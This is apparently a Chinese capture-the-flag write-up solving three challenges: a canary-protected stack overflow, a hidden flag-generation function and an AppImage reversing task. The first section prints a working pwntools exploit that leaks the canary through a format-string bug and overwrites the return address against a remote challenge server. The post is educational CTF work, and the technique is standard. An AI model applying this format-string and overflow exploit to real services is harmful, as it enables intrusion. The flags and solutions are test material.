红月亮~红月亮~热情又大方~
ezpwn 开了canary,破解canary并且栈溢出到get flag函数就能拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __fastcall main (int argc, const char **argv, const char **envp) { char buf[40 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); puts ("input your name" ); fflush(stdout ); read(0 , buf, 0x20u ); puts ("hello: " ); fflush(stdout ); printf (buf); puts ("leave some message" ); fflush(stdout ); read(0 , buf, 0x48u ); return 0 ; }
printf(buf)直接打印输入,可以通过输入%p确定canary的位置
print的一般用法是
1 >printf ("格式化字符串" , 参数1 , 参数2 );
但printf(buf)直接将 buf 作为格式化字符串 ,并且没给参数,那么printf就会通过这个顺序获取参数(x86_64 Linux的约定):
首先从寄存器中取出前 6 个参数。
如果格式说明符超过 6 个,则从栈上读取后续参数。
1 2 3 4 input your name %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p hello: (nil).0x232c42a0.0xc00.0x7fa6f1d74a70.0x232c42a0.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.(nil).0x58fab1ae6f61300leave some message
观察输出,canary应该是0x58fab1ae6f61300,第11个。所以payload组成:
1 payload = padding(buf) + canary + padding(rbp) + get_flag_addr
exp是让Gemini生成的。后来加了个ret(ROPgadget --binary ./ezpwn --only "ret"获取到0x040101a)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p = remote('124.16.75.116' , 52003 ) target_addr = 0x4011D6 p.sendlineafter("input your name" , "%11$p" ) p.recvuntil("hello: \n" ) canary = int (p.recvline().strip(), 16 ) success(f"Extracted Canary: {hex (canary)} " ) payload = b'A' * 40 payload += p64(canary) payload += b'B' * 8 payload += p64(0x040101a ) payload += p64(target_addr) p.sendlineafter("leave some message" , payload) p.interactive()
flag{ret2win_never_dies_but_noexec_does}
get_flag ida打开,有get_flag函数,显示了flag的生成逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 unsigned __int64 get_flag() { int v0; // eax int i; // [rsp+8h] [rbp-78h] int k; // [rsp+8h] [rbp-78h] int j; // [rsp+Ch] [rbp-74h] int m; // [rsp+Ch] [rbp-74h] int v6; // [rsp+10h] [rbp-70h] int v7; // [rsp+14h] [rbp-6Ch] char s[5]; // [rsp+1Bh] [rbp-65h] BYREF _QWORD v9[2]; // [rsp+20h] [rbp-60h] BYREF char v10; // [rsp+30h] [rbp-50h] _BYTE v11[40]; // [rsp+40h] [rbp-40h] unsigned __int64 v12; // [rsp+68h] [rbp-18h] v12 = __readfsqword(0x28u); strcpy(s, "flag"); v9[0] = 1684234849; v9[1] = 0; v10 = 0; for ( i = 0; i < strlen(s); ++i ) { v7 = s[i]; for ( j = 7; j >= 0; --j ) { if ( ((v7 >> j) & 1) != 0 ) v11[8 * i + 7 - j] = 49; else v11[8 * i + 7 - j] = 48; } } for ( k = 0; k <= 15; ++k ) { v6 = 0; for ( m = 0; m <= 1; ++m ) { if ( k == m ) v0 = (char)v11[16 * m + k] - 48; else v0 = ((char)v11[16 * m + k] - 48) * (m + k); v6 += v0; } *((_BYTE *)v9 + k) = v6 % 26 + 97; } printf("The flag is: flag{%s}\n", (const char *)v9); return __readfsqword(0x28u) ^ v12; }
但是主函数不会调用它,摘出来自己生成。让ChatGPT改成可以直接编译运行的c语言代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <stdio.h> #include <string.h> #include <stdint.h> int main () { int i, j, k, m; int v0; int v6; int v7; char s[5 ]; char v11[40 ] = {0 }; char v9[17 ] = {0 }; strcpy (s, "flag" ); for (i = 0 ; i < strlen (s); ++i) { v7 = s[i]; for (j = 7 ; j >= 0 ; --j) { if (((v7 >> j) & 1 ) != 0 ) v11[8 * i + 7 - j] = '1' ; else v11[8 * i + 7 - j] = '0' ; } } for (k = 0 ; k <= 15 ; ++k) { v6 = 0 ; for (m = 0 ; m <= 1 ; ++m) { if (k == m) v0 = v11[16 * m + k] - '0' ; else v0 = (v11[16 * m + k] - '0' ) * (m + k); v6 += v0; } v9[k] = v6 % 26 + 'a' ; } printf ("The flag is: flag{%s}\n" , v9); return 0 ; }
得到输出flag{acfaafgiatvambpq}
code-talker 直接运行会报错
1 dlopen(): error loading libfuse.so.2 AppImages require FUSE to run.
运行 ./code-talker --appimage-extract,解出内部 squashfs文件系统(这一步是问ChatGPT得出的)
怎么得到这一步的?
在反编译的main函数中可以看到这些
以及经典报错信息:AppImages require FUSE to run.
说明这个程序是一个 AppImage runtime stub,在 AppImage 官方 runtime 代码里就提供了这些命令选项。
一个标准 AppImage 文件的结构:
1 [ ELF runtime stub ][ SquashFS 文件系统 ]
所以可以:
直接运行,它会用 FUSE 挂载文件系统后执行
把后半部分SquashFS 文件系统摘出来解压
此外,报错的dlopen()分支是在if ( !strcmp(Arg_1, “appimage-extract”) )之后的,使用–appimage-extract不会触发dlopen()分支
(所以还是得多做多学多记啊,完全没想到是一种类型)
在/squashfs-root/usr/bin中可以找到另一个可执行文件code_talker。搜索字符串flag找到这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall flaghere (__int64 a1, __int64 a2, int a3, int a4, int a5, int a6) { int v6; int v7; int v8; int v9; int v10; __int64 v11; __int64 result; int i; _DWORD v14[10 ]; unsigned __int64 v15; v15 = __readfsqword(0x28u ); sub_410C70("%30s" , (unsigned int )v14, a3, a4, a5, a6); for ( i = 0 ; i <= 29 ; ++i ) { v10 = (*((char *)v14 + i) - 94 ) % 26 + 97 ; v11 = sub_401D55(); v7 = i % 10 ; v6 = i % 10 ; if ( v10 != *(char *)(v11 + i % 10 ) ) { sub_420A00("Dangerous" ); result = 1 ; goto LABEL_7; } } sub_410AE0("your flag {%s}\n" , (unsigned int )v14, v6, v7, v8, v9); result = 0 ; LABEL_7: if ( __readfsqword(0x28u ) != v15 ) sub_45C820(); return result; }
(理解算法这一步借助了ChatGPT)输入v14需要满足长度30,以及(*((char *)v14 + i) - 94) % 26 + 97 = *(char *)(v11 + i % 10)。v11是exbdrkxlgd。反解就可以得到flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main () { char target[] = "exbdrkxlgd" ; char v14[30 ] = "abcdefghijklmnopqrstuvwxyz1234" ; char v10; for (int i = 0 ; i <= 29 ; ++i) { v14[i] = (target[i % 10 ] - 97 ) % 26 + 94 ; v10 = (v14[i] - 94 ) % 26 + 97 ; if (v10 != target[i % 10 ]) { printf ("Error at index %d: expected %c, got %c\n" , i, *(char *)(target + i % 10 ), v10); } } printf ("%s\n" , v14); return 0 ; }
验证:
提交时只要后面那一串,不带flag
因为涉及到%26所以有多解